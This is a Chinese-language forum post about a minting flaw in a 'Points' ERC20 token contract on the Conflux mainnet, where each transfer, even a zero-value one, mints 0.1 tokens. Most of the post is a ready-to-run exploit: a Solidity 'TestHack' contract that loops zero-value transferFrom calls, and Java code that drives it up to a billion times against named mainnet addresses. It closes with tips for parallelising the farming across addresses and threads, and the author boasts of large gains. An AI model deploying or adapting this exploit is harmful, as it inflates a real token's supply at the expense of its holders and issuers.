主要是此合约中的方法问题,并且可以无限撸
Points合约地址
合约介绍:
ERC20协议,在tranfer方法中重写了一个方法:
function _mintSenderReward() internal {
_mint(_msgSender(), 10**17);//铸造0.1个币
}
function _beforeTokenTransfer(address from, address to, uint256 value) internal virtual override {
_mintSenderReward();//转移前调用铸造币的方法
super._beforeTokenTransfer(from, to, value);
}
只要是调用了转移方法就会铸造0.1个币,并且没有做转移0的判断,并且conflux是有代付机制的,所以只要storage保存的数据是相同,就意味着从A转向B,一直这么转移0代币是不需要额外的存储费用的,只需要超低价格的gas(忽略不计),所以理论如此就可以无限撸,下面贴上撸合约的代码(不用给这个合约代付,不加支持代付也成立):
pragma solidity ^0.6.2;
import './internal/BaseInternal.sol';
interface IERC20{
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract TestHack is BaseInternal{
address owner;
constructor() public{
owner = msg.sender;
}
function ok(address _erc20,address _to, uint256 _count) external{
require(msg.sender == owner,"owner error");
for (uint256 index = 0; index < _count; index++) {
IERC20(_erc20).transferFrom(msg.sender, _to, 0);
}
}
function getERC20(address _erc20,uint256 _amount) external{
require(msg.sender == owner,"owner error");
IERC20(_erc20).transfer(msg.sender, _amount);
}
}
(论坛的缩进不太好用😭)
逻辑,使用ok方法直接循环执行你想要的转移次数(一般20多次gaslimit就超了,测试用25次),比如25次,合约中就会收到2.5个代币,然后调用getERC20就可以取出来了(取出来也是转移,也会有赠送,但是每笔只有0.1所以无所谓)。
此合约就可以撸了,然后大家随便改版。
贴上java实现的代码:大家自己依赖
<dependency>
<groupId>io.github.conflux-chain</groupId>
<artifactId>conflux.web3j</artifactId>
<version>1.0.5</version>
</dependency>
代码1:
public class HackExecutor {
private Account account;
private String contract;
public HackExecutor(Account account, String contractAddress) throws RpcException {
this.account = account;
this.contract = contractAddress;
}
public String ok(Account.Option option, String address, String toAddress, Integer count) throws Exception {
//String call(Account.Option option, Address contract, String method, Type<?>... inputs)
return this.account.call(option,
new conflux.web3j.types.Address(this.contract),
"ok",
new Address(address),
new Address(toAddress),
new Uint256(count));
}
}
代码2:
private String node = "https://main.confluxrpc.com/v2";
@Test
public void hack() {
Cfx cfx = Cfx.create(node, 3, 1000);
//hack 合约地址
//cfx:acdk9r0rt249661crrnzds5yvrrfy7v6sejmcwvnxx
String privateKey = "你的私钥0x开头";
Account account = Account.create(cfx, privateKey);
Account.Option opt = new Account.Option();
opt.withValue(BigInteger.ZERO);
opt.withChainId(new BigInteger("1029"));
opt.withEpochHeight(cfx.getEpochNumber().sendAndGet());
opt.withGasLimit(new BigInteger("1000000"));
opt.withStorageLimit(new BigInteger("70"));
opt.withGasPrice(new BigInteger("1"));
System.out.println("===========================");
HackExecutor hackExecutor = new HackExecutor(account, "cfx:acdk9r0rt249661crrnzds5yvrrfy7v6sejmcwvnxx");
System.out.println("=============hack==============");
try {
//token 0x811dc7fe5B3CFCaB9c84bB3E5e846Dd00ba1561b
//cfx:acav5v98np8t3m66uw7x61yer1ja1jm0dpzj1zyzxv
for (int i = 0; i < 1000000000; i++) {
long start = System.currentTimeMillis() / 1000;
System.out.println(new SimpleDateFormat("HH:mm:ss").format(new Date(start * 1000)));
String a = hackExecutor.ok(opt,
"0x811dc7fe5B3CFCaB9c84bB3E5e846Dd00ba1561b",//pos代币合约,0x开头
"你的地址0x开头,固定", 25);
System.out.println("i: " + i + "," + a);
if (i % 500 == 0 && i > 500) {
System.out.println("sleep 5s");
Thread.sleep(5000);
}
System.out.println("times:" + (System.currentTimeMillis() / 1000 - start));
}
} catch (Exception e) {
e.printStackTrace();
}
}
取出就不写了,因为你可以部署,直接执行取出就行了,以上为示例,当然是可以加速的,比如,多地址并行执行,也不需要等待时间。
一个小时大概撸了十几万吧,没有等待时间会更高,(纯属娱乐)
给出加速模式:
- 多地址控制,使用多个地址来执行,避免nonce的问题
- 多线程、多进程超级执行哈哈,多线程来创造交易(含nonce,自己递增),再加多地址不同进程执行,可以提高效率